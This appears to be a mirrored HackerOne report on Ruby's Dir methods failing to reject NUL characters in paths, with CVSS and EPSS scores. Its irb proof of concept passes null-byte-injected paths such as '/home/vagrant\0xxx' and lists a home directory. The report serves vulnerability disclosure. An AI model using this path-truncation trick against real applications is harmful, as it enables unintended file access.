Lucene search

K
hackeroneOoooooo_qH1:302338
HistoryJan 04, 2018 - 10:03 a.m.

Ruby: The possibility that unintended file operation may be performed because some methods of `Dir` do not check NULL characters.

2018-01-0410:03:14
ooooooo_q
hackerone.com
$500
17

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

62.2%

It seems that entries,new, and empty? do not check NULL characters in methods of Dir.

[vagrant@localhost ~]$ ls
test
[vagrant@localhost ~]$ irb
irb(main):001:0> Dir.open("/home/vagrant\0xxx") do |d|
irb(main):002:1* p d.read   # => "."
irb(main):003:1> p d.read   # => ".."
irb(main):004:1> p d.read
irb(main):005:1> p d.read
irb(main):006:1> end
"."
".."
".bash_logout"
".bash_profile"
=> ".bash_profile"

irb(main):007:0> d = Dir.new("/home/vagrant\0xxx")
=> #<Dir:/home/vagrantxxx>
irb(main):008:0> p d.read   # => "."
"."
=> "."
irb(main):009:0> p d.read   # => ".."
".."
=> ".."
irb(main):010:0> p d.read
".bash_logout"
=> ".bash_logout"
irb(main):011:0> p d.read
".bash_profile"
=> ".bash_profile"

irb(main):012:0> Dir.entries("/home/vagrant\0yyy")
=> [".", "..", ".bash_logout", ".bash_profile", ".bashrc", ".ssh", ".rbenv", ".pki", ".bash_history", "test"]

irb(main):013:0> Dir.empty?("/home/vagrant\0zzz")
=> false

Impact

When using the corresponding method, unintended file operation may be performed.

9.1 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

NONE

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

62.2%